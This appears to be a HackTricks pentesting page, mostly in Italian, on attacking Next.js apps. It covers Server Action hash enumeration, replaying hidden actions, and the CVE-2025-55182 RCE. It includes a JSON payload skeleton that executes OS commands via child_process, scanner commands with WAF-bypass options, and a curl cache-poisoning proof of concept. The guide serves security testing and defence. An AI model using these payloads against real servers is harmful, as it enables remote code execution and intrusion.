  • Ottimizzazione delle immagini: Usa il componente next/image di Next.js per l’ottimizzazione automatica delle immagini.
  • Suddivisione del codice: Sfrutta i dynamic imports per suddividere il codice e ridurre i tempi di caricamento iniziali.
  • Caching: Implementa strategie di caching per le risposte API e le risorse statiche.
  • Caricamento ritardato: Carica componenti o risorse solo quando sono necessari.

Esempio:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash a nome della funzione via source maps)

Next.js moderno usa le “Server Actions” che vengono eseguite sul server ma sono invocate dal client. In produzione queste invocazioni sono opache: tutte le POSTs arrivano su un endpoint comune e sono distinte da un hash specifico della build inviato nell’header Next-Action. Esempio:

POST /
Next-Action: a9f8e2b4c7d1...

Quando productionBrowserSourceMaps è abilitato, i minified JS chunks contengono chiamate a createServerReference(...) che leak abbastanza struttura (più i source maps associati) per recuperare una mappatura tra l’action hash e il nome della funzione originale. Questo permette di tradurre gli hashes osservati in Next-Action in target concreti come deleteUserAccount() o exportFinancialData().

Approccio di estrazione (regex on minified JS + optional source maps)

Cerca nei JS chunks scaricati createServerReference ed estrai l’hash e il function/source symbol. Due pattern utili:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Gruppo 1: server action hash (40+ caratteri esadecimali)
  • Gruppo 2: simbolo o percorso che può essere risolto al nome della funzione originale tramite la source map quando presente

Se lo script dichiara una source map (commento finale //# sourceMappingURL=<...>.map), recuperala e risolvi il simbolo/percorso al nome della funzione originale.

Flusso pratico

  • Scoperta passiva durante la navigazione: intercettare le richieste con header Next-Action e gli URL dei chunk JS.
  • Scarica i bundle JS referenziati e i relativi file *.map (quando presenti).
  • Esegui la regex sopra per costruire un dizionario hash↔nome.
  • Usa il dizionario per indirizzare i test:
  • Triage basata sul nome (es. transferFunds, exportFinancialData).
  • Traccia la copertura tra le build per nome della funzione (gli hash ruotano tra le build).

Eseguire azioni nascoste (request basata su template)

Prendi un POST valido osservato in-proxy come template e sostituisci il valore Next-Action per mirare a un’altra action scoperta:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Esegui il replay in Repeater e testa l’autorizzazione, la validazione degli input e la business logic di azioni altrimenti non raggiungibili.

Automazione Burp

  • NextjsServerActionAnalyzer (estensione per Burp) automatizza quanto sopra in Burp:
  • Estrae dalla cronologia del proxy i chunk JS, estrae le voci createServerReference(...) e analizza i source maps quando disponibili.
  • Mantiene un dizionario ricercabile hash↔function-name e rimuove i duplicati tra le build basandosi sul nome della funzione.
  • Può individuare un template POST valido e aprire una scheda Repeater pronta per l’invio con l’hash dell’azione target sostituito.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Note e limitazioni

  • Richiede productionBrowserSourceMaps abilitato in production per recuperare i nomi dai bundle/source maps.
  • La divulgazione del function-name non è una vulnerabilità di per sé; usalo per guidare la scoperta e testare l’autorizzazione di ogni action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contengono un critical server-side prototype pollution durante la deserializzazione di chunk Flight. Manipolando riferimenti $ all’interno di un payload Flight un attacker può pivotare da prototype inquinati all’esecuzione arbitraria di JavaScript e poi all’esecuzione di comandi OS all’interno del processo Node.js.

NodeJS - proto & prototype Pollution

Catena d’attacco nei chunk Flight

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Scheletro del payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mappatura dell’esposizione delle React Server Functions

React Server Functions (RSF) sono tutte le funzioni che includono la direttiva 'use server';. Ogni form action, mutation o fetch helper legato a una di queste funzioni diventa un RSC Flight endpoint che deserializzerà senza problemi payload forniti dall’attacker. Passi di recon utili derivati dalle assessment React2Shell:

  • Static inventory: cerca la direttiva per capire quante RSFs vengono automaticamente esposte dal framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app abilita l’App Router + la directory app/ di default, il che trasforma silenziosamente ogni route in un endpoint RSC-capable. Asset dell’App Router come /_next/static/chunks/app/ o risposte che streamano chunk Flight via text/x-component sono forti impronte visibili su Internet.
  • Implicitly vulnerable RSC deployments: L’avviso ufficiale di React segnala che le app che distribuiscono il runtime RSC possono essere sfruttabili anche senza RSF espliciti, quindi considera sospette tutte le build che usano react-server-dom-* nelle versioni 19.0.0–19.2.0.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, ecc. riutilizzano lo stesso serializer e ereditano la medesima superficie d’attacco remota finché non incorporano build di React corrette.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerabile in 19.0.0, 19.1.0–19.1.1 e 19.2.0; corretto in 19.0.1, 19.1.2 e 19.2.1 rispettivamente.
  • Next.js stable: Le release App Router 15.0.0–16.0.6 includono lo stack RSC vulnerabile. I train di patch 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 contengono dipendenze corrette, quindi qualsiasi build inferiore a quelle versioni è un target di alto valore.
  • Next.js canary: 14.3.0-canary.77+ distribuisce anch’esso il runtime buggy e attualmente manca di canary drops patchati, rendendo quelle impronte candidati forti per l’exploitation.

Remote detection oracle

Assetnote’s react2shell-scanner invia una richiesta Flight multipart appositamente costruita a percorsi candidati e osserva il comportamento lato server:

  • Default mode esegue un payload RCE deterministico (operazione matematica riflessa via X-Action-Redirect) che prova l’esecuzione di codice.
  • --safe-check mode falsifica intenzionalmente il messaggio Flight in modo che i server patchati restituiscano 200/400, mentre i target vulnerabili emettono risposte HTTP/500 contenenti la sottostringa E{"digest" nel body. Questa coppia (500 + digest) è attualmente l’oracolo remoto più affidabile pubblicato dai difensori.
  • Gli switch integrati --waf-bypass, --vercel-waf-bypass e --windows aggiustano il layout del payload, antepongono junk, o sostituiscono comandi OS così da permetterti di sondare asset reali su Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Altri recenti problemi di App Router (fine 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – payload Flight malformati possono mandare il resolver RSC in un loop infinito (pre-auth DoS) o forzare la serializzazione del codice compilato di Server Function per altre azioni. Le build di App Router ≥13.3 sono vulnerabili fino alla patch; le 15.0.x–16.0.x richiedono le specifiche righe di patch dall’advisory upstream. Riutilizza il percorso normale di Server Action ma invia in streaming un body text/x-component con riferimenti $ abusivi. Dietro un CDN la connessione bloccata viene mantenuta aperta dai timeout della cache, rendendo il DoS economico.
  • Suggerimento di triage: Obiettivi non patchati restituiscono 500 con E{"digest" dopo payload Flight malformati; le build patchate restituiscono 400/200. Testa qualsiasi endpoint che già streama chunk Flight (cerca header Next-Action o risposte text/x-component) e riproducilo con un payload modificato.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – la mancanza dell’intestazione Vary permette che una risposta Accept: text/x-component venga cachata e servita a browser che si aspettano HTML. Una singola richiesta di priming può sostituire la pagina con payload RSC grezzi. Flusso PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Se la seconda risposta restituisce dati Flight JSON invece di HTML, la route è vulnerabile a cache poisoning. Pulisci la cache dopo i test.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks